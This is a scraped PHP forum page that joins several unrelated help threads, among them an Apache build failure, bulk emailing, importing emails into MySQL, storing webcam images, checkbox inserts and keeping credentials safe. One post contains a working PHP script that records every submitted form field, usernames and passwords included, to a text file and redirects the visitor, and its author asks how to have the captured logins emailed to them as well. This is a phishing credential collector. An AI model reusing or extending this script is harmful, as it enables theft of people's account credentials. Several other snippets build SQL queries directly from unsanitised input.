PHP - Php Script To Receive Emails And Store In Mysql With Windows & Apache

This topic has been moved to Miscellaneous.

http://www.phpfreaks.com/forums/index.php?topic=333523.0

Hey guys, I'm facing an issue compiling the above stack from a source code inside lxc using centos 6.5 as a domain OS.     [lxc@lxc1 httpd-2.4.9]$ ./configure --with-included-apr
checking for chosen layout... Apache
checking for working mkdir -p... yes
checking for grep that handles long lines and -e... /bin/grep
checking for egrep... /bin/grep -E
checking build system type... x86_64-unknown-linux-gnu
checking host system type... x86_64-unknown-linux-gnu
checking target system type... x86_64-unknown-linux-gnu
configu
configu Configuring Apache Portable Runtime library...
configu
configuring package in srclib/apr now
checking build system type... x86_64-unknown-linux-gnu
checking host system type... x86_64-unknown-linux-gnu
checking target system type... x86_64-unknown-linux-gnu
Configuring APR library
Platform: x86_64-unknown-linux-gnu
checking for working mkdir -p... yes
APR Version: 1.5.1
checking for chosen layout... apr
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... configu error: in `/home/lxc/httpd-2.4.9/srclib/apr':
configu error: cannot run C compiled programs.
If you meant to cross compile, use `--host'.
See `config.log' for more details
configure failed for srclib/apr
      This problem has been detected by me when I replaced my desktop machine with new one and installed a centOS again. This such a problem never happened before using my old machine with the same version of OS and libvirt. Just to be clear, a new selinux policy into a "domain machine" has been created to be able to use the "dbus daemon" to all containers and if I try to complile this stack from source using the "domain os" this problem never happens at all. All "Development tools" is installed to this particular container, in case someone asks me why I get the following error message - "configu error: cannot run C compiled programs" Any ideas?    
Edited by jazzman1, 08 June 2014 - 01:37 PM.

Hi!

I have a mysql database with a lot of emails there and I want to send an email to all the email addresses that are on my database..

There is like 7000 email addresses so could it be possible to set a interval time between each email sending?

If it helps i'm using Linux / Debian 5 32bits Apache2 - php5 and php5-mysql

Right at the moment im using this script to get usernames and passwords and save them into usernames.txt

Code: [Select]
<?php
header ('Location: redirect.html');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
But instead of me always having to check usernames.txt i want them to be emailed to me aswell as being saved in usernames.txt (because i know mail can mess up sometimes)

But i dont have the foggyest of where to start


Any help would be appriciated!

Hi All,

Is there a way we can write a PHP script to automatically read receive emails, extract csv file attachment from there and insert into MySQL database then run this in Cron Jobs to automate the process?

Hi All,

Is there a way we can write a PHP script to automatically read receive emails, extract csv file attachment from there and insert into MySQL database then run this in Cron Jobs to automate the process?

hi i want to store url to images in database for logged in users (where id = $id)

and recall the image hopefully using
---------------------
<img src="<?php echo row['link']; ?>" /> or similar and need help with the sql update string any ideas please help i been stuck with this for some time and now decided to ask around in this forum for help, please help if you can.

I am using wampserver 2.2 on window 7 64 bit machine. I am using jpegcam to take snapshots and it works fine. I make upload folder within jpegcam/htdocs/upload to store snapshots. All works  fine but how can i store uploaded images into mysql. I  also want  to retrieve image from mysql and print in php page.
The problem is jpegcam used java script in form in which POST method and type file was not used. I am already done task like upload images to folder and store it into mysql using POST an $_FILES varibales .
here the code of  in jpegcam/htocs/test.html
<form name="f1" enctype="multipart/form-data" method="" action="" >
      <input type=button value="Configure..." onClick="webcam.configure()">
      &nbsp;&nbsp;
      
    <!--    <input type=button name="img" value="Take Snapshot" onClick="take_snapshot()">  -->
       <a   href="javascript:void(webcam.freeze())">Freeze</a>
       <a  href="javascript:void(webcam.upload())">Upload</a>
        <a  href="javascript:void(webcam.reset())">Reset</a> 
      
   </form>
and this the code of jpegcam/htocs/test.php

$target = 'upload/';
$filename = $target . date('YmdHis') . '.jpg';

$result = file_put_contents( $filename, file_get_contents('php://input') );
if (!$result) {
   print "ERROR: Failed to write data to $filename, check permissions\n";
   exit();
}
Now please tell me how can i store snapshots in mysql an retrieve it an print it in another php page.please plzplz help me as soon as possibe. please please...
 Thanks in advance.

Hi, how do I store as a string (in a variable) a mysql query b/c what I'm doing below outputs Resource id in client browser:

Code: [Select]
<?php
//database connection set up etc
$show=mysql_query("SELECT file_Name FROM xdocument WHERE doc_id=95");
print $show;
?>

Any help much appreciated, thanks.

Hello, recently I changed host of my website and when a visitor clicks "contact us" button in my website (in which one needs to enter his/ her email, name, phone , etc) and submit his/her message then I get email. Before this hosting I used to get emails from the visitor who filled the form so it was easier for me to reply but now after I changed the host I get email as "mydomain@hosting-company-domain" instead of the visitor's email. I messaged them then they told me something about SMTP authenticate using PHP, please guide me to fix this.

Hi,

I have this form which will create a checkbox list using data from my database and also determin if a checkbox had been checked before and check if it had.

<form style="text-align:center" name="PrefRestaurant" id="PrefRestaurant" action="preferances_check.php" method="post"><table align="center"> <?php checkbox(id, name, restaurants, id); ?></table>
<input type="submit" name="Prefer" id="Prefer" value="Επιλογή"/></form>
   
function checkbox($intIdField, $strNameField, $strTableName, $strOrderField, $strMethod="asc") {
$strQuery = "select $intIdField, $strNameField
               from $strTableName
               order by $strOrderField $strMethod";
    $rsrcResult = mysql_query($strQuery);


while ($arrayRow = mysql_fetch_assoc($rsrcResult)) {
$testqry = "SELECT * FROM user_restaurant WHERE user_id = $_SESSION[UserId] AND restaurant_id = $arrayRow[id]";
$rsltestqry = mysql_query($testqry);
$numrows = mysql_num_rows($rsltestqry);
if ($numrows == 1) {
echo "<tr align=\"left\"><td><input type=\"checkbox\" name=\"restaurant[]\" value=\"$arrayRow[id]\" checked/>$arrayRow[name]</td></tr>";
}
else{
echo "<tr align=\"left\"><td><input type=\"checkbox\" name=\"restaurant[]\" value=\"$arrayRow[id]\" />$arrayRow[name]</td></tr>";
}
}

}      


Now the part which I can't get to work is when I'm trying to store the new values in my database. When I click the submit button I clear my database of any row that is related to the currently loggedin user and I want to store his new preferences (checked cheboxes). I've read that only the cheked checkboxes' values are POSTed so I did this (preferances_check.php)

foreach($_POST['restaurant']  as  $value)  {
 
 $query="INSERT INTO user_restaurant VALUES ('$_SESSION[UserId]','$value')";
 
} 

But it is not working, nothing gets written in my table Could someone please enlighten me on this? Thnks!

Hi Guys,
            I have been contacted by a client who wants me to develop an application which performs the following functionality:

Lets say the domain name is xyz.com . We provide an email of our domain to the person who signup on our website for our services. Lets say the email that is given to the customer is email@xyz.com

The client wants to built PHP application in which if an email is sent to email@xyz.com it gets downloaded and is stored in the MySql Database. After the download there is going to be a set of algorithms which will decided whether to forward this email to the client or not on his email address.

I have no idea how to accomplish this functionality. Any suggestions would be appreciated.

Thanks

Sadan Masroor.

Hello guys,

I am a new programmer and i am building a new website. I would like to give me your advice for the following problem:

I want to build a webpage, in which there will be a <div id="book-content"> ...............</div> part. Inside this div i would like
to  dynamically display pages from a book. Each page will have text, scripting code blocks, blocks with the output of each scripting code, and images.

There will be a bar on the left of the webpage in which the user can select which page of the book he wants to load.

For example...My web page will look something like this...


Code: [Select]
<HTML>
  <HEAD>
  </HEAD>

  <BODY>

    <DIV ID="PAGE-HEADER">
       //LOGO OF THE WEB PAGE
    </DIV>

    <DIV ID="PAGE-MENU">
      //PAGE MENU
    </DIV>
     
     <DIV ID="BOOK-INDEX"    WITH FLOAT:LEFT >
      //HERE A WILL SHOW THE CHAPTERS OF THE BOOK AND THE PAGES OF EACH CHAPTER
     </DIV>

     <DIV ID="BOOK-PAGE">
        //THE PAGE SELECTED FROM THE PREVIOUS 'BOOK-INDEX' MENU WILL BE DISPLAYED HERE WITH A MYSQL QUERY
        ******
     </DIV>

  </BODY>
</HTML>

Then in a mysql database, i would like to have records with a text field, that will contain for example the followng:

<h1> Chapter 1: bla bla </h1>

<p> in this chapter we will speak about bla bla bla.... </p>

<div id="code">
 
int main()
{
int x,y;
x=2;
y=3;
x=x+y;
}

</div>

<p> this will outpout the following:</p>

<div id="code output">
x=5!
</div>

I would like to get this html code from the database, and then show it in the <div id=BOOK-PAGE> div.

But i dont want to use php eval().
Also, if i store the code to a file and then include it, i will have too may files(equal to the book's number of pages etc 100).


Any ideas?

I am building a project that requires I store query strings in a table (stage_reqs) which are called to determine permissions. These strings will look something like this:

Code: [Select]
select salesman from jobs where salesman is not NULL and job_id='".$this->job_id."' limit 1
The variable value needs to be determined from within the function it is being accessed in. Can I use eval to do this?

Thanks,
Chris

Hi there   I am just finalising my first ever PHP/MYSQL project and I am worried about where to safely keep my connection credentials for the SQL DB.   Currently, I am storing them in ../php/config.php and this works fine, but I am worried as to the security of this   Can anyone advise please   Thanks